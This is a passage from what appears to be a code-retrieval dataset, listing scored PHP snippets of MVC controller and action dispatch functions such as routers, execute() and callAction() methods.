"3decbc9554209c3e9752d68aafee803a", "score": "0.6625377", "text": "public function getAction();", "title": "" }, { "docid": "3decbc9554209c3e9752d68aafee803a", "score": "0.6625377", "text": "public function getAction();", "title": "" }, { "docid": "3decbc9554209c3e9752d68aafee803a", "score": "0.6625377", "text": "public function getAction();", "title": "" }, { "docid": "7b068ec52582bce7cbb590f2e1887002", "score": "0.6617226", "text": "public function run() {\n\t\t$path_regex = ( \n\t\t\t'@^/\\Q'. trim($this->url_base) .'\\E/'\n\t\t\t. '([\\w\\-\\_]+)'\n\t\t\t. '(?:/([a-zA-Z_][\\w\\-\\_]*))?' // Actions cannot start with numeric, this is how we allow index actions with numeric IDs passed\n\t\t\t. '(\\W[^\\?]*)?'\n\t\t\t. '(\\?|$)@'\n\t\t\t);\n\n\t\tif ( ! preg_match($path_regex, $_SERVER['REQUEST_URI'], $m) ) { header(\"HTTP/1.0 404 Not Found\"); echo \"404 Not Found\\n</br>Api QuickServe\"; exit; }\n\t\t@list($x,$flat_class,$flat_action,$path_info) = $m;\n\t\tif ( empty( $flat_action ) && ! is_numeric($flat_action) ) { $flat_action = 'index'; }\n\n\t\t$class = self::flatToCamelCase($flat_class .'-controller');\n\t\t$full_class = $this->class_prefix . $class;\n\t\t$action = self::flatToCamelCase($flat_action .'-action');\n\n\t\t/// Check file\n\t\t$class_file = $this->ctl_base .'/'. $class .'.php';\n\t\tif ( ! file_exists($class_file) ) { header(\"HTTP/1.0 404 Not Found\"); echo \"404 Not Found\\n</br>Api QuickServe (Class File Not Found $full_class)\"; exit; }\n\n\t\t/// Check Class\n\t\t@include($this->ctl_base .'/'. $class .'.php');\n\t\tif ( ! class_exists($full_class) ) { header(\"HTTP/1.0 404 Not Found\"); echo \"404 Not Found\\n</br>Api QuickServe (Class Not Found, Misnamed or Syntax Error)\"; exit; }\n\n\t\t/// Check Action Method\n\t\t$ctl = new $full_class();\n\t\tif ( ! method_exists($ctl, $action) && ! method_exists($this->class_prefix . $class, '__call') ) { header(\"HTTP/1.0 404 Not Found\"); echo \"404 Not Found\\n</br>Api QuickServe (Action Not Found, Misnamed or Syntax Error)\"; exit; }\n\n\t\t$ctl->controller = $flat_class;\n\t\t$ctl->action = $flat_action;\n\t\t$ctl->path_info = $path_info;\n\n\t\t/// Run init()\n\t\tif ( method_exists($ctl, 'init') ) { $ctl->init(); }\n\n\t\t/// Run Action\n\t\t$result = $ctl->$action();\n\n\t\t/// Default Transport ( if they returned non-empty and didn't exit )\n\t\tif ( ! empty( $result ) && method_exists($ctl, 'actionReturnTransport') ) {\n\t\t\t$ctl->actionReturnTransport($result);\n\t\t}\n\n\t\treturn $this;\n\t}", "title": "" }, { "docid": "e194d6ff8ea10bcda1d47ba29e885d84", "score": "0.6617126", "text": "public function executeAction($action)\n {\n if (method_exists($this, $action)) // Checks if the class method exists\n {\n $this->action = $action;\n $this->{$this->action} ();\n }\n else\n {\n $classController = get_class($this); // Returns the name of the class of an object to use it in the error message\n throw new Exception (\"Action '$action' non définie dans la classe $classController\");\n }\n }", "title": "" }, { "docid": "f957a27aa88b46bf605306736d5bd31e", "score": "0.6613705", "text": "public function execute()\n\t{\n\t\t$controller = Router::getController($this);\n\n\t\tRouter::executeAction($this, $controller);\n\n\t\techo $controller->execute();\n\t}", "title": "" }, { "docid": "d2ae5e8341fa1ca1e6205eaab07dcea2", "score": "0.66063577", "text": "abstract public function getAction();", "title": "" }, { "docid": "6c32d7b0d329490a4eed80890eb77faf", "score": "0.660573", "text": "public function go()\n {\n $this->request->init();\n $this->onBeginProcess();\n $this->loadModule();\n call_user_func_array(array($this->_m, $this->request->action),\n $this->request->paramToAction);\n $this->onEndProcess();\n }", "title": "" }, { "docid": "a0eb341329057d49080e858df88cd011", "score": "0.66016906", "text": "public function callHook()\n {\n if (!isset($_GET['url'])) {\n $this->controller = $this->default['controller'];\n $this->action = $this->default['action'];\n } else {\n $this->url = $this->routeURL($_GET['url']);\n $urlArray = array();\n $urlArray = explode(\"/\", $this->url);\n\n $this->controller = $urlArray[0];\n array_shift($urlArray);\n if (isset($urlArray[0])) {\n $this->action = $urlArray[0];\n array_shift($urlArray);\n } else {\n $this->action = 'index'; // Default Action\n }\n $this->queryString = $urlArray;\n }\n\n // Check if controller exists\n if (!isset(self::$modules[$this->controller])) {\n showError('Controller \"' . $this->controller . '\" does not exist!', E_USER_ERROR);\n }\n\n $this->model = self::$modules[$this->controller];\n $controllerName = ucfirst($this->controller) . 'Controller';\n $dispatch = new $controllerName($this->model, $this->action);\n\n // Check if method exists\n if (!method_exists($controllerName, $this->action)) {\n showError('Method \"' . $controllerName . '->' . $this->action . '\" does not exist!', E_USER_ERROR);\n }\n\n call_user_func_array(array($dispatch, \"beforeAction\"), $this->queryString);\n call_user_func_array(array($dispatch, $this->action), $this->queryString);\n call_user_func_array(array($dispatch, \"afterAction\"), $this->queryString);\n }", "title": "" }, { "docid": "cf09d021c07082391df49f48d5f6aa4e", "score": "0.6592827", "text": "public function clwrAction() {}", "title": "" }, { "docid": "3cf32f614f422c43248d57cf63fb069e", "score": "0.6592413", "text": "public function showAction();", "title": "" }, { "docid": "81854094003706b2849acfad42d4a484", "score": "0.65576863", "text": "public function invoke();", "title": "" }, { "docid": "81854094003706b2849acfad42d4a484", "score": "0.65576863", "text": "public function invoke();", "title": "" }, { "docid": "d2dd05468cd3ea3c4b2ed2c266242c4c", "score": "0.6553602", "text": "public function execute()\n {\n $method = 'execute'.ucfirst($this->m_action);\n if (!is_callable(array($this, $method)))\n throw new RuntimeException('The action \"'. $this->m_action . '\" does not exist in the module : ' . $this->m_module);\n\n\t\t\t$this->$method($this->app()->httpRequest());\n }", "title": "" }, { "docid": "47b8039166c485d8dfa7f641c10bbcf4", "score": "0.65511054", "text": "public function run(){\n $page = isset($_GET[\"page\"]) ? $_GET[\"page\"]:\"login\";\n\n if(isset($this->routes[$page])) {\n $controller = $this->routes[$page][\"controller\"];\n $action = $this->routes[$page][\"action\"];\n\n $object = new $controller();\n $object->$action();\n }\n }", "title": "" }, { "docid": "807a38b16b319b358bf001356c116e4a", "score": "0.65474373", "text": "public function aramexAction() {\r\n \r\n }", "title": "" }, { "docid": "2e240153c4ca0321a0e769090513a93d", "score": "0.65442944", "text": "function call($controller, $action, $args=[])\n{\n\n require_once('controllers/' . $controller . '_Controller.php');\n\n // создаем нужный контроллер\n switch ($controller) {\n case 'mainpage':\n $controller = new MainPageController($args);\n break;\n case 'employees':\n $controller = new EmployeesController($args);\n break;\n\n case 'boardrooms':\n $controller = new BoardroomController($args);\n break;\n\n }\n\n // $action будут нашими методами\n $controller->{$action}();\n}", "title": "" }, { "docid": "8b9447ae5a17e8085c7a5dc113285fab", "score": "0.6518603", "text": "function run(){\n\t\tswitch($_GET['act']){\n\t\t\tcase 'create':\n\t\t\t\t$this->create();\n\t\t\t\tbreak;\n\t\t\tdefault:\n\t\t\t# code....\n\t\t\tbreak;\n\t\t}\n\t}", "title": "" }, { "docid": "01543641a8c041d802ca1e5a4d077bb7", "score": "0.6514757", "text": "public function execute(){\n\t\tif(!method_exists($this,$this->request->action)){\n\t\t\tthrow new \\Exception(\"the method {$this->request->action} does not exist\", 102);\n\t\t}\n\t\tcall_user_func_array([$this,$this->request->action],$this->request->params);\n\t\t$this->view->render();\n\t}", "title": "" }, { "docid": "ae3edf9cd2bb73bd82fca06615386350", "score": "0.65114313", "text": "public function invoke() {\r\n \r\n // get the action to be processed\r\n $this->getAction();\r\n \r\n switch ($this->action) {\r\n case 'show_home_page':\r\n $this->view->display('home.tpl');\r\n break;\r\n case 'place_hold':\r\n $this->placeHold();\r\n break;\r\n case 'submit_hold':\r\n $this->processSubmitHold();\r\n break;\r\n case 'show_catalog_page':\r\n $this->showCatalogPage();\r\n break;\r\n case 'show_login_page':\r\n $this->view->display('login.tpl');\r\n break;\r\n case 'show_contact_page':\r\n $this->showContactPage();\r\n break;\r\n case 'process_contact_form':\r\n $this->processContactpage();\r\n break;\r\n default:\r\n $this->view->assign('error_msg', $this->error_msg);\r\n $this->view->display('error.tpl');\r\n break;\r\n }\r\n }", "title": "" }, { "docid": "8c8543f7a5284cdae19dfae75b18b078", "score": "0.6496238", "text": "private function doActions() {\n\t\tforeach ($this->actions as $action) {\n\t\t\t//(debug) echo \"action: $action... \\n\";\n\t\t\t$words = explode(' ', $action);\n\t\t\t$function = 'a_' . array_shift($words);\n\t\t\tcall_user_func_array(array($this, $function), $words);\n\t\t}\n\t}", "title": "" }, { "docid": "ac7be074cf00c3e94fb33a58ae0440c9", "score": "0.64919823", "text": "public function execute($action = null)\n\t{\n\t\t$action = $this->url->getAction() == null ? self::INDEX : $this->url->getAction();\n\t\tif (!$this->isCallable($action) || !$this->hasAnnotation($action, 'Invocable'))\n\t\t\t$action = self::ERROR;\n\t\t$this->$action();\n\t\t// TODO: is this really nice and ok???\n//\t\tif (!$this->hasAnnotation($action, 'WebMethod'))\n\t\t\t$this->view->display($action);\n\t}", "title": "" }, { "docid": "9047b8aa56c39aff37998407267d1e2f", "score": "0.64830196", "text": "public function createAction();", "title": "" }, { "docid": "4e9188127bdcce502af503d529c25c82", "score": "0.6475314", "text": "private static function _createClassActions() {\n\t\t$file = 'class.actions.php';\n\t\t\n\t\t$functions = NULL;\n\t\t$list = NULL;\n\t\tforeach (self::$_par['mparr'] as $page) {\n\t\t\t$functions .= '/**\n\t * This is the _do'.ucfirst($page).'Job function description\n\t *\n\t * @name _do'.ucfirst($page).'Job\n\t * @author '.self::$_par['mauth'].'\n\t * @param array $parameters Params from url\n\t * @return bool Success\n\t */\n\tprivate function _do'.ucfirst($page).'Job($parameters) {\n\t\trequire(wgPaths::getModulePath().\\'actions/class.'.$page.'.php\\');\n\t\t$class = new '.self::$_par['modid'].'Actions'.ucfirst($page).'();\n\t\tif ((bool) $class->init()) { wgError::add(\\'actionok\\', 2);\n\t\t\treturn true;\n\t\t}\n\t\telse { wgError::add(\\'actionfailed\\');\n\t\t\treturn false;\n\t\t}\n\t}\n\t\n\t';\n\t\t\t$list .= '$func[\\'do'.$page.'job\\'] = array(\\'do'.ucfirst($page).'Job\\', \\''.$page.'\\');\n\t\t';\n\t\t}\n\t\t\n\t\t$data = self::_getFileHeader('Action class for module '.self::$_par['mname']).'\nclass actions'.self::$_par['mucft'].' extends actions {\n\t\n\tpublic function __construct($parameters) {\n\t\t$func = array();\n\t\t// SYSTEM: functions-list -------------------------------------------------------------\n\t\t'.$list.'\n\t\t// END: functions-list ----------------------------------------------------------------\n\t\t$funcname = parent::_init($func, $parameters);\n\t\t$ok = false;\n\t\tif ((bool) $funcname && method_exists($this, $funcname)) $ok = $this->$funcname($parameters);\n\t\telse parent::_reportError($funcname, __FILE__);\n\t\twgPaths::moduleRedirect(NULL, !$ok);\n\t}\n\t\n\t// SYSTEM: functions ----------------------------------------------------------------------\n\n\t'.$functions.'\n\t\n\t// END: functions ----------------------------------------------------------------------\n\t\n}\n\t\t\n?>';\n\t\t\n\t\treturn wgIo::writeFile(self::$_par['mpath'].$file, $data);\n\t}", "title": "" }, { "docid": "45b2594c62676118cde0cc0b042ac033", "score": "0.647147", "text": "public function execute($action = 'index')\n\t{\n\t\t// stores the current action\n\t\t$this->action = $action;\n\t\t\n\t\t// initializes the controller\n\t\t$this->init();\n\t\t\n\t\t// executes the before filters\n\t\t$this->beforeFilters();\n\t\t\n\t\t// adds the action suffix to the function to call\n\t\t$actionToCall = $action.'Action';\n\t\t\n\t\t// executes the action\n\t\t$this->$actionToCall();\n\t\t\n\t\t// executes the after filterss\n\t\t$this->afterFilters();\n\t\t\n\t\t// renders the view\n\t\t$this->view->render($this->getViewScript($action));\n\t}", "title": "" }, { "docid": "a9119df51e30147c4031a4fbfed7a651", "score": "0.64669997", "text": "public function dispatch() {\n $this->request = new Request();\n // Parse url into $this->request\n Router::parse($this->request->url, $this->request);\n $controller = $this->loadController();\n // Call the action within the controller with params\n call_user_func_array([$controller, $this->request->action], $this->request->params);\n }", "title": "" }, { "docid": "852440eccd378d324de4d05d6852a000", "score": "0.64629894", "text": "public function callAction ()\n\t{\n\t\t\n\t\t// Only call the method if the user is authenticated\n\t\t\n\t\tif ($this->checkAuthenticated ($this->getArg ('session_id')))\n\t\t{\n\t\t\tparent::callAction ();\n\t\t}\n\t\t\n\t}", "title": "" }, { "docid": "7dd3f420232784008851dde320ebc9d0", "score": "0.64576286", "text": "public function execute() {\n \n $args = \\func_get_args();\n return \\call_user_func_array( 'do_action' , $args );\n\n }", "title": "" }, { "docid": "da74fb216add68dcf1fc9ce938dddb37", "score": "0.6456674", "text": "public function receiveAction()\n {\n\n }", "title": "" }, { "docid": "16de44d5ddd801c30bbadff115781f3e", "score": "0.64499724", "text": "protected function callAction($controller, $action = 'index'){\n\t\trequire_once (\"app/controllers/\" . $controller . \".php\");\n\t\t$control = new $controller;\n\n\t\tif(! method_exists($control, $action))\n\t\t\tthrow new Exception(\"$controller does not respond to the action $action.\");\n\t\treturn $control->$action();\n\t}", "title": "" }, { "docid": "4010bd272176cd11ee03d704629e6514", "score": "0.6447655", "text": "public function run(){\n\t\t//verificar conteúdo da url\n\t\t$url='/';\n\t\t$params=array();\n\t\tif(isset($_GET['url'])){\n\t\t\t$url.=$_GET['url'];\n\t\t}\n\t\tif(!empty($url) && $url != '/'){\n\t\t\t$url= explode('/', $url);\t\t\t\n\t\t\t//remover o 1º item que vem vazio, Array ( [0] => [1] => home )\n\t\t\tarray_shift($url); //remove último array_pop(array)\n\t\t\t$currentController=$url[0].\"Controller\";\n\t\t\t//ja utilizou o controller, retirá-lo do array\n\t\t\tarray_shift($url);\n\t\t\t//se existir algo na action\n\t\t\tif(isset($url[0]) && !empty($url[0])){\n\t\t\t\t$currentAction=$url[0];\n\t\t\t\tarray_shift($url);//remover este para sobrar só paramnetro se existir\n\t\t\t}else{//se não há ação, segue a padrão\n\t\t\t\t$currentAction='index';\n\t\t\t}\n\n\t\t\tif (count($url)>0) {\n\t\t\t\t$params=$url;\n\t\t\t}\n\t\t}else{\n\t\t\t$currentController=\"homeController\";\n\t\t\t$currentAction=\"index\";\n\t\t}\n\n\n\t\t//instanciar o controller criado, $currentController ()\n\t\t$c=new $currentController();\n\t\t//função php que pega a classe e executa sua action, com parametros\n\t\tcall_user_func_array(array($c,$currentAction),$params);\n\t\t\n\t}", "title": "" }, { "docid": "992f2402a6575db7152c5676db37db8c", "score": "0.6444517", "text": "public static function execute()\n {\n $args = func_get_args();\n $args_num = func_num_args();\n\n $file = $args[0];\n\n $controller_name = 'Controller_' . $file;\n\n $controller_method = empty($args[1]) ? 'actionMain' : 'action' . ucfirst($args[1]);\n\n $controller = new $controller_name;\n\n if ($args_num > 1) {\n\n // Remove just the first argument (Controller name)\n array_shift($args);\n\n // Remove the second argument (Controller name and Controller method)\n if ($args_num > 2) {\n array_shift($args);\n }\n\n // Call dynamically to the default_method\n return call_user_func_array(array($controller, $controller_method),\n count($args) === 0 ? null : $args);\n } else {\n return $controller->actionMain();\n }\n }", "title": "" }, { "docid": "f085720f45f906d3d26370809e0ecb5f", "score": "0.64430493", "text": "public function run() {\n\t\t$controllerFile = __DIR__ . '/' . $this->moduleName . '/' . $this->controllerName . '.php';\n\t\tif (is_file($controllerFile)) {\n\t\t\tinclude_once $controllerFile;\n\t\t\t$controllerClassName = $this->moduleName . '_' . $this->controllerName;\n\t\t\terror_log($controllerClassName);\n\t\t\tif (class_exists($controllerClassName, true)) {\n\t\t\t\terror_log('class is there!');\n\t\t\t\t$controllerClass = new $controllerClassName();\n\t\t\t\t$controllerClass->init();\n\t\t\t\t$controllerClass->doAction($this->actionName);\n\t\t\t\t$controllerClass->afterAction();\n\t\t\t\treturn $controllerClass;\n\t\t\t}\n\t\t}\n\t}", "title": "" }, { "docid": "20449d655bbd1e9b575213ca682cacaf", "score": "0.6434774", "text": "public function run() {\n $this->matchRoute();\n\n if (is_callable($this->target)) {\n echo call_user_func_array($this->target, $this->match[\"params\"]);\n } elseif (strpos($this->target, \"#\") !== false) {\n list($controller, $action) = explode(\"#\", $this->target);\n $class = \"App\\\\Controllers\\\\\" . $controller;\n $controllerInstance = new $class($action, $this->match[\"params\"]);\n echo $controllerInstance->callAction();\n } else {\n http_response_code(500);\n }\n }", "title": "" }, { "docid": "1eb79233178f3460f27e2cdfcf701b62", "score": "0.64227897", "text": "public function executeAction()\n {\n throw new Frapi_Error('NOT_IMPLEMENTED');\n }", "title": "" }, { "docid": "12a3ddb3242ad871dd5824aa79b92a7a", "score": "0.6415679", "text": "private function callControllerAndAction () {\r\n\r\n //Caso o Controller e a Action existam.\r\n if (method_exists($this->currentController, $this->currentAction) && $this->validateNumberOfParams()) {\r\n\r\n $callController = new $this->currentController ();\r\n\r\n if (!call_user_func_array(array($callController, $this->currentAction), $this->urlParameters)) {\r\n\r\n $this->notFoundPage ();\r\n\r\n }\r\n\r\n }\r\n\r\n //Caso o Controller ou a Action não forem encontrados.\r\n else {\r\n\r\n $this->notFoundPage ();\r\n\r\n }\r\n\r\n }", "title": "" }, { "docid": "f56a64bb7cfeb36f9051c562c69f3277", "score": "0.63958216", "text": "protected function callController() {\n\n\t\t\t// Create class name\n\t\t\t$className = self::get(\"applicationNamespace\") . \"\\\\Controllers\\\\\" . $this->_activeRoute->controller;\n\n\t\t\t// Create the controller\n\t\t\t$controllerInstance = new $className($this->_request, $this->_activeRoute, $this->_urlVariables);\n\n\t\t\t// Is it a Controller-derived classed?\n\t\t\tif (!is_subclass_of($controllerInstance, \"ChickenWire\\Core\\Controller\")) {\n\t\t\t\tthrow new \\Exception(get_class($controllerInstance) . \" does not extend ChickenWire\\\\Core\\\\Controller.\", 1);\t\t\t\t\n\t\t\t}\n\t\t\t\n\t\t\t// Call the action!\n\t\t\t$controllerInstance->{$this->_activeRoute->action}();\n\n\n\t\t}", "title": "" }, { "docid": "ed56ca027b0bdfcfc3eb493ffe9d5439", "score": "0.639533", "text": "public static function callAction($controller, $action){\n\t\tif(!$controller){\n\t\t\t$controller = 'home';\n\t\t}\n\n\t\tif(!$action){\n\t\t\t$action = 'index';\n\t\t}\n\n\t\tself::$controller = $controller;\n\t\tself::$action = $action;\n\n\t\t//set content type\n\t\tif(!headers_sent()){\n\t\t\theader('Content-type: text/html; charset=utf-8');\n\t\t}\n\n if(strpos($controller, '_') === false){ //such as 'user/action'\n $controller = ucfirst($controller);\n }else{ //such as 'user_extra/action'\n $controllerArr = explode('_', $controller);\n $controllerArr = array_map('ucfirst', $controllerArr);\n $controller = implode('_', $controllerArr);\n }\n\n if(!self::controllerExists($controller)){\n \tself::_pageNotFound();\n }else{\n \t$classname = 'Controller_'.$controller;\n \t$klass = new $classname();\n \t$methods = get_class_methods($klass);\n \tif(!in_array($action.'Action', $methods)){ //action not found\n \t\tself::_pageNotFound();\n \t}else{ //action find\n \t\ttry{\n\t \t\t//call 'before' function\n\t \t\t$klass->before();\n\t \t\t//call action\n\t \t\t$do = $action.'Action';\n\t \t\t$klass->$do();\n\t \t\t//call 'after' function\n\t \t\t$klass->after(); \n\t \t}catch(Exception $e){\n\t \t\tself::_internalServerError($e);\n\t \t} \t\t\n \t}\n }\n\t}", "title": "" }, { "docid": "a9b5fcfaa8505f72815e19827ecf7ac2", "score": "0.6393706", "text": "abstract function getAction();", "title": "" }, { "docid": "799ff3cd62849a0eacbaa02ff2962dca", "score": "0.6392005", "text": "public static function action()\n\t{\n\t\tlist( $action, $return ) = func_get_args();\n\t\t$function = str_replace(\".\", \"_\", $action);\n\t\t$filterargs = array_slice(func_get_args(), 2);\n\n\t\tforeach ( self::$active as $name => $module )\n\t\t{\n\t\t\t$class = \"{$name}_Action\";\n\t\t\t$args = $filterargs;\n\t\t\tarray_unshift( $args, $return );\n\n\t\t\tif (is_callable( array($class, $function) ))\n\t\t\t{\n\t\t\t\ttry\n\t\t\t\t{\n\t\t\t\t\t$return = call_user_func_array(array( $class, $function ), $args);\n\t\t\t\t}\n\t\t\t\tcatch(Exception $e){}\n\t\t\t}\n\t\t}\n\n\t\treturn $return;\n\t}", "title": "" }, { "docid": "6f6ba8f8b8e9a67e8ba79189410c5b26", "score": "0.6385273", "text": "function getAction();", "title": "" }, { "docid": "3e692114d23b23e36646bc6495bef766", "score": "0.63846016", "text": "public function executeApiAction();", "title": "" }, { "docid": "a71591716c31775fbcfb6cc7c1c7d3b5", "score": "0.6375789", "text": "public function run(){\n $url = $this->getURL();\n\n foreach ($this->routes as $uri_pattern => $path){\n\n if(preg_match(\"~$uri_pattern~\",$url)){\n\n $internalRouter = preg_replace(\"~$uri_pattern~\",$path , $url);\n\n\n $segments = explode('/',$internalRouter);\n if($segments[0]==''){\n array_shift($segments);\n }\n\n $controllName = ucfirst(array_shift($segments).'Controller');\n $controllAction = 'action'.ucfirst(array_shift($segments));\n\n $file = ROOT.'/controllers/'.$controllName.'.php';\n $parametrs = $segments;\n\n if(is_file($file)){\n include_once($file);\n }\n\n $controllerObject = new $controllName;\n call_user_func_array(array($controllerObject ,$controllAction) , $parametrs);\n break;\n }\n }\n\n }", "title": "" }, { "docid": "8d4ef037d86984c6e14f79fb1a2477e6", "score": "0.6373565", "text": "public function get_action();", "title": "" }, { "docid": "20bcd326495531186c09ca4e548ccece", "score": "0.63607323", "text": "function call($controller, $action) {\n\t\n // Start session\n\tsession_start();\n\t\n // Load the needed services\n\trequire_once('services/common.php');\n\trequire_once('services/offer.php');\n require_once('controllers/' . $controller . 'Controller.php'); // Load the requested controller\n\t\n // Create object of the requested controller\n switch($controller) {\n case 'common':\n $controller = new CommonController();\n break;\n case 'offer':\n $controller = new OfferController();\n break;\n }\n\n // Use the created object to access the needed method/action\n $controller->{$action}();\n }", "title": "" }, { "docid": "a1e7f100e545bf116d59b78fb6de3426", "score": "0.63403326", "text": "public function launcher( $action ) {\n try {\n if( method_exists( $this, $action ) )\n $this->$action();\n else\n NavigationManagement::redirect( DOMAIN . 'error/404/' );\n // throw new KernelException( 'Can not find the <strong>' . $this->_action . '</strong> specified controller\\'s method', 100 );\n\n } catch( Exception $e ) {\n throw new KernelException( 'Can not launch the <strong>' . $this->_action . '</strong> application controller\\'s method', $e->getCode(), $e );\n }\n }", "title": "" }, { "docid": "a54e3a4c331ea98bfc8e29eb6d3044f4", "score": "0.6314848", "text": "public function execute() \n {\n $gerechtigd = $this->model->isGerechtigd();\n if(!$gerechtigd)\n {\n $this->model->uitloggen();\n $this->forward('default', 'bezoeker');\n }\n \n $opdracht = $this->action.'Action';\n if(!method_exists($this,$opdracht))\n {\n $opdracht = 'defaultAction';\n $this->action = 'default';\n }\n $this->$opdracht();\n $this->view->setAction($this->action);\n $this->view->setControl($this->control);\n $this->view->toon();\n }", "title": "" }, { "docid": "35aa058c20ad7b18fbcb0d70890ad3d2", "score": "0.6313129", "text": "public function specialAction(){\n }", "title": "" }, { "docid": "d66f2ff40770008e022553fdb36fed1f", "score": "0.6309961", "text": "public function executeController()\n {\n\t\t$ctrl_method_name = $this->method_name;\n $this->$ctrl_method_name();\n\t\t\n\t\tif($this->navbar_method_name !== null)\n\t\t{\n\t\t\t$navbar_method_name = $this->navbar_method_name;\n\t\t\t$this->$navbar_method_name();\n\t\t}\t\t\n }", "title": "" }, { "docid": "10cb70d5db53de3fe9e0a20dc8cc5f14", "score": "0.63074654", "text": "public function callAction ()\n {\n $action = $this->getActionFromSlots();\n $rawAction = array_search(implode(',', array_keys($this->slots)), $this->registeredActions);\n if (isset($action))\n $this->$action(ArrayHelper::getFilteredArray($this->data->actions->data()[lcfirst(substr($action, 6))], array_map(function ($a) { return $a[\"value\"]; }, $this->slots)));\n else if ($rawAction)\n throw new ResponseException(LocalizationHelper::localize(\"unknown value\", [\"type\" => \"action\", \"value\" => $rawAction]));\n else\n throw new ResponseException(LocalizationHelper::localize(\"invalid\", [\"action\"]));\n }", "title": "" }, { "docid": "05ef968ec03fc57db59ac829804ede13", "score": "0.6285347", "text": "protected function register_actions() {}", "title": "" }, { "docid": "21a7c66f1835d0d559028b5b234dc1f1", "score": "0.6284504", "text": "public static function run()\n {\n try\n {\n Core::registerAutoload();\n\n $class = \"SCFram\\\\App\\\\Controllers\\\\\" . (isset($_GET['c']) ? ucfirst($_GET['c']) . 'Controller' : 'IndexController');\n $target = isset($_GET['t']) ? $_GET['t'] : \"indexAction\";\n $getParams = isset($_GET['params']) ? $_GET['params'] : null;\n $postParams = isset($_POST['params']) ? $_POST['params'] : null;\n $params = [\n \"get\" => $getParams,\n \"post\" => $postParams\n ];\n\n if (class_exists($class, true))\n {\n $class = new $class();\n if (in_array($target, get_class_methods($class))) {\n call_user_func_array([$class, $target], $params);\n } else {\n call_user_func([$class, \"indexAction\"]);\n }\n } \n else \n {\n require '404.php';\n }\n }\n catch (Exception $e)\n {\n if ($e instanceof NotFoundException)\n {\n header(\"HTTP 1.1 : 404 Not Found\");\n }\n else\n {\n header(\"HTTP 1.1 : 500 Internal Server Error\");\n }\n }\n }", "title": "" }, { "docid": "2b782efe9b162bce524abb29257f8fa6", "score": "0.62815297", "text": "private function setup_actions() {\n\n\n\n }", "title": "" }, { "docid": "85496ab333df79e6769b1649c2201d13", "score": "0.6278114", "text": "private function invokeController() {\n\n require $this->controllerFileLocation;\n\n $controllerFullName = 'Blogs\\Controllers\\\\' . $this->controllerName;\n $this->controllerInstance = new $controllerFullName();\n\n // Check if action exist in controller\n if (!method_exists($this->controllerInstance, $this->actionName)) {\n \n throw new \\Exception(\"Action: {$this->actionName} doesn't exist in Controller: {$this->controllerName}.\");\n\n }\n\n // Check if number of parameters in the url match with the number of parameters in action method\n $a = new ReflectionClass($controllerFullName);\n $noOfReqParamters = $a->getMethod($this->actionName)->getNumberOfRequiredParameters();\n\n if ( count($this->parameters) < $noOfReqParamters ) {\n\n throw new \\Exception(\"Action: {$this->actionName} requires {$noOfReqParamters} number of parammeters.\");\n\n }\n \n \\call_user_func_array(array($this->controllerInstance, $this->actionName), $this->parameters);\n\n }", "title": "" }, { "docid": "271ffd31d43adeb4b2cf9ae1e952eb7c", "score": "0.6270549", "text": "public function otherAction() {\r\n }", "title": "" }, { "docid": "c5438cc3bd2c16dd6dc8c248e2935b0f", "score": "0.6270342", "text": "public function sendAction() {\n }", "title": "" }, { "docid": "1761d1c5c994a0c78ca30a200308574c", "score": "0.6241356", "text": "public function exec()\n\t{\n\t\ttry\n\t\t{\n\t\t\t//todo move in processBeforeAction()\n\t\t\tif($this->request->isPost())\n\t\t\t{\n\t\t\t\t\\CUtil::jSPostUnescape();\n\t\t\t\t$this->request->addFilter(new PostDecodeFilter);\n\t\t\t}\n\n\t\t\t$this->resolveAction();\n\t\t\t$this->checkAction();\n\n\t\t\t$this->checkRequiredModules();\n\n\t\t\tif(!$this->prepareParams())\n\t\t\t{\n\t\t\t\t$this->sendJsonErrorResponse();\n\t\t\t}\n\n\t\t\t$action = $this->getAction();\n\t\t\tif(\n\t\t\t\t$this->processBeforeAction($action) === true &&\n\t\t\t\t$this->triggerOnBeforeAction($action) === true\n\t\t\t)\n\t\t\t{\n\t\t\t\t$this->runAction();\n\t\t\t}\n\t\t}\n\t\tcatch(\\Exception $e)\n\t\t{\n\t\t\t$this->runProcessingException($e);\n\t\t}\n\t}", "title": "" }, { "docid": "b4fb6345ed291aeb6ccb645e40ab99b3", "score": "0.62362915", "text": "public function execute() {\n\t\t\n\t\t$this->before();\n\t\t\n\t\t// map action to method\n\t\t// $this->action_[method]_name()\n\t\t\n\t\t$route = $this->m_request->route();\n\t\t$method = $route->method() ? $this->method() : '';\n\t\t$action = sprintf('action_%s_%s', $method, $this->m_request->route()->action());\n\t\t\n\t\tLog::debug(sprintf('[action] %s->%s()', get_class($this), $action));\n\t\t\n\t\tif (!method_exists($this, $action)) {\n\t\t\tthrow new KnownException('E_ROUTING_ACTION_NOT_FOUND', [\n\t\t\t\t'uri' => $this->m_request->uri(),\n\t\t\t\t'method' => $this->m_request->method(),\n\t\t\t]);\n\t\t}\n\t\t\n\t\t// fill in parameters automatically\n\t\t$dynamic = array_change_key_case($this->params());\n\t\t$args = [];\n\t\t$reflect = new \\ReflectionMethod($this, $action);\n\t\t\n\t\tforeach ($reflect->getParameters() as $param) {\n\t\t\t$name = $param->getName();\n\t\t\t$name_lower = strtolower($name);\n\t\t\t$value = NULL;\n\t\t\t\n\t\t\tif (array_key_exists($name_lower, $dynamic)) {\n\t\t\t\t$value = $dynamic[$name_lower];\n\t\t\t\tif ($value instanceof \\Closure) {\n\t\t\t\t\t$value = $value();\n\t\t\t\t}\n\t\t\t\tLog::debug(sprintf('[param] $%s from dynamic param', $name));\n\t\t\t\t\n\t\t\t\t// warn about missing type hint if applicable\n\t\t\t\tif (is_object($value) && get_class($value) !== 'stdClass' && !($param_class = $param->getClass())) {\n\t\t\t\t\tLog::debug(sprintf('[param] $%s should have type hint %s', $name, get_class($value)));\n\t\t\t\t}\n\t\t\t}\n\t\t\telse if (($arg = $this->m_request->route()->param($name)) !== NULL) {\n\t\t\t\t$value = $arg;\n\t\t\t\tLog::debug(sprintf('[param] $%s from Route param', $name));\n\t\t\t}\n\t\t\telse if (isset($_REQUEST[$name])) {\n\t\t\t\t$value = $_REQUEST[$name];\n\t\t\t\tLog::debug(sprintf('[param] $%s from $_REQUEST', $name));\n\t\t\t}\n\t\t\telse if ($param->isDefaultValueAvailable()) {\n\t\t\t\t$value = $param->getDefaultValue();\n\t\t\t\tLog::debug(sprintf('[param] $%s from default', $name));\n\t\t\t}\n\t\t\telse {\n\t\t\t\tLog::debug(sprintf('[param] $%s unmatched', $name));\n\t\t\t}\n\t\t\t\n\t\t\t// pass unmatched params as NULL for now\n\t\t\t$args[] = $value;\n\t\t}\n\n\t\tLog::time('~before');\n\t\t\n\t\t$body = 